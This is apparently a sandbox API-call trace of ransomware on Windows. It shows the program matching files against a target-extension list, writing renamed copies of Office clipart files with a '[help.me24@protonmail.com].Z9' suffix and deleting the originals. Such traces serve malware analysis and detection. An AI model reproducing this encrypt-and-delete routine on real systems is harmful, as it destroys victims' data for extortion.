	[0183.222] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.223] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.223] lstrlenW (lpString="J0151041.WMF") returned 12
	[0183.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.225] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4356) returned 1
	[0183.225] CloseHandle (hObject=0x520) returned 1
	[0183.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 0x220
	[0183.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.226] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.226] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0183.228] GetLastError () returned 0x0
	[0183.228] ReadFile (in: hFile=0x520, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1104, lpOverlapped=0x0) returned 1
	[0183.230] WriteFile (in: hFile=0x37c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1110, lpOverlapped=0x0) returned 1
	[0183.231] ReadFile (in: hFile=0x520, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.231] WriteFile (in: hFile=0x37c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.231] SetEndOfFile (hFile=0x37c) returned 1
	[0183.231] CloseHandle (hObject=0x37c) returned 1
	[0183.231] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.231] SetEndOfFile (hFile=0x520) returned 1
	[0183.234] CloseHandle (hObject=0x520) returned 1
	[0183.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf")) returned 1
	[0183.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0183.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0183.235] lstrlenW (lpString=".doc") returned 4
	[0183.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.235] lstrlenW (lpString=".docx") returned 5
	[0183.235] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0183.235] lstrlenW (lpString=".pdf") returned 4
	[0183.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.236] lstrlenW (lpString=".xls") returned 4
	[0183.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.236] lstrlenW (lpString=".xlsx") returned 5
	[0183.236] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0183.236] lstrlenW (lpString=".ppt") returned 4
	[0183.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0183.236] lstrlenW (lpString=".zip") returned 4
	[0183.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.236] lstrlenW (lpString=".rar") returned 4
	[0183.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.236] lstrlenW (lpString=".bz2") returned 4
	[0183.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.236] lstrlenW (lpString=".7z") returned 3
	[0183.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0183.236] lstrlenW (lpString=".dbf") returned 4
	[0183.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0183.236] lstrlenW (lpString=".1cd") returned 4
	[0183.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0183.236] lstrlenW (lpString=".jpg") returned 4
	[0183.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0183.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0183.236] lstrlenW (lpString=".doc") returned 4
	[0183.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.236] lstrlenW (lpString=".docx") returned 5
	[0183.236] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0183.236] lstrlenW (lpString=".pdf") returned 4
	[0183.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.237] lstrlenW (lpString=".xls") returned 4
	[0183.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.237] lstrlenW (lpString=".xlsx") returned 5
	[0183.237] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0183.237] lstrlenW (lpString=".ppt") returned 4
	[0183.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0183.237] lstrlenW (lpString=".zip") returned 4
	[0183.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.237] lstrlenW (lpString=".rar") returned 4
	[0183.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.237] lstrlenW (lpString=".bz2") returned 4
	[0183.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.237] lstrlenW (lpString=".7z") returned 3
	[0183.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0183.237] lstrlenW (lpString=".dbf") returned 4
	[0183.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0183.237] lstrlenW (lpString=".1cd") returned 4
	[0183.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF") returned 68
	[0183.237] lstrlenW (lpString=".jpg") returned 4
	[0183.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.237] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.237] lstrlenW (lpString="J0151045.WMF") returned 12
	[0183.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.238] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=15464) returned 1
	[0183.238] CloseHandle (hObject=0x520) returned 1
	[0183.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 0x220
	[0183.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.239] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.239] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0183.240] GetLastError () returned 0x0
	[0183.240] ReadFile (in: hFile=0x520, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x3c68, lpOverlapped=0x0) returned 1
	[0183.242] WriteFile (in: hFile=0x37c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x3c70, lpOverlapped=0x0) returned 1
	[0183.243] ReadFile (in: hFile=0x520, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.243] WriteFile (in: hFile=0x37c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.243] SetEndOfFile (hFile=0x37c) returned 1
	[0183.243] CloseHandle (hObject=0x37c) returned 1
	[0183.244] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.244] SetEndOfFile (hFile=0x520) returned 1
	[0183.246] CloseHandle (hObject=0x520) returned 1
	[0183.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 1
	[0183.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0183.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0183.248] lstrlenW (lpString=".doc") returned 4
	[0183.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.248] lstrlenW (lpString=".docx") returned 5
	[0183.248] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0183.248] lstrlenW (lpString=".pdf") returned 4
	[0183.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.248] lstrlenW (lpString=".xls") returned 4
	[0183.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.248] lstrlenW (lpString=".xlsx") returned 5
	[0183.248] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0183.248] lstrlenW (lpString=".ppt") returned 4
	[0183.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0183.248] lstrlenW (lpString=".zip") returned 4
	[0183.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.248] lstrlenW (lpString=".rar") returned 4
	[0183.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.248] lstrlenW (lpString=".bz2") returned 4
	[0183.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.248] lstrlenW (lpString=".7z") returned 3
	[0183.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0183.248] lstrlenW (lpString=".dbf") returned 4
	[0183.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0183.249] lstrlenW (lpString=".1cd") returned 4
	[0183.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0183.249] lstrlenW (lpString=".jpg") returned 4
	[0183.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0183.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0183.249] lstrlenW (lpString=".doc") returned 4
	[0183.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.249] lstrlenW (lpString=".docx") returned 5
	[0183.249] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0183.249] lstrlenW (lpString=".pdf") returned 4
	[0183.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.249] lstrlenW (lpString=".xls") returned 4
	[0183.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.249] lstrlenW (lpString=".xlsx") returned 5
	[0183.249] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0183.249] lstrlenW (lpString=".ppt") returned 4
	[0183.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0183.249] lstrlenW (lpString=".zip") returned 4
	[0183.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.249] lstrlenW (lpString=".rar") returned 4
	[0183.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.249] lstrlenW (lpString=".bz2") returned 4
	[0183.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.249] lstrlenW (lpString=".7z") returned 3
	[0183.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0183.249] lstrlenW (lpString=".dbf") returned 4
	[0183.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0183.250] lstrlenW (lpString=".1cd") returned 4
	[0183.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68
	[0183.250] lstrlenW (lpString=".jpg") returned 4
	[0183.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.250] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.250] lstrlenW (lpString="J0151047.WMF") returned 12
	[0183.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.251] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=18500) returned 1
	[0183.251] CloseHandle (hObject=0x520) returned 1
	[0183.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 0x220
	[0183.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.252] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.252] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0183.253] GetLastError () returned 0x0
	[0183.253] ReadFile (in: hFile=0x520, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x4844, lpOverlapped=0x0) returned 1
	[0183.525] WriteFile (in: hFile=0x37c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x4850, lpOverlapped=0x0) returned 1
	[0183.526] ReadFile (in: hFile=0x520, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.526] WriteFile (in: hFile=0x37c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.526] SetEndOfFile (hFile=0x37c) returned 1
	[0183.526] CloseHandle (hObject=0x37c) returned 1
	[0183.526] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.526] SetEndOfFile (hFile=0x520) returned 1
	[0183.529] CloseHandle (hObject=0x520) returned 1
	[0183.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 1
	[0183.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0183.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0183.531] lstrlenW (lpString=".doc") returned 4
	[0183.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.531] lstrlenW (lpString=".docx") returned 5
	[0183.531] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0183.531] lstrlenW (lpString=".pdf") returned 4
	[0183.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.531] lstrlenW (lpString=".xls") returned 4
	[0183.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.531] lstrlenW (lpString=".xlsx") returned 5
	[0183.531] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0183.531] lstrlenW (lpString=".ppt") returned 4
	[0183.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0183.531] lstrlenW (lpString=".zip") returned 4
	[0183.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.531] lstrlenW (lpString=".rar") returned 4
	[0183.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.532] lstrlenW (lpString=".bz2") returned 4
	[0183.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.532] lstrlenW (lpString=".7z") returned 3
	[0183.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0183.532] lstrlenW (lpString=".dbf") returned 4
	[0183.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0183.532] lstrlenW (lpString=".1cd") returned 4
	[0183.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0183.532] lstrlenW (lpString=".jpg") returned 4
	[0183.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0183.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0183.532] lstrlenW (lpString=".doc") returned 4
	[0183.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.532] lstrlenW (lpString=".docx") returned 5
	[0183.532] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0183.532] lstrlenW (lpString=".pdf") returned 4
	[0183.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.532] lstrlenW (lpString=".xls") returned 4
	[0183.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.532] lstrlenW (lpString=".xlsx") returned 5
	[0183.532] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0183.532] lstrlenW (lpString=".ppt") returned 4
	[0183.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0183.532] lstrlenW (lpString=".zip") returned 4
	[0183.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.532] lstrlenW (lpString=".rar") returned 4
	[0183.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.532] lstrlenW (lpString=".bz2") returned 4
	[0183.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.533] lstrlenW (lpString=".7z") returned 3
	[0183.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0183.533] lstrlenW (lpString=".dbf") returned 4
	[0183.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0183.533] lstrlenW (lpString=".1cd") returned 4
	[0183.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
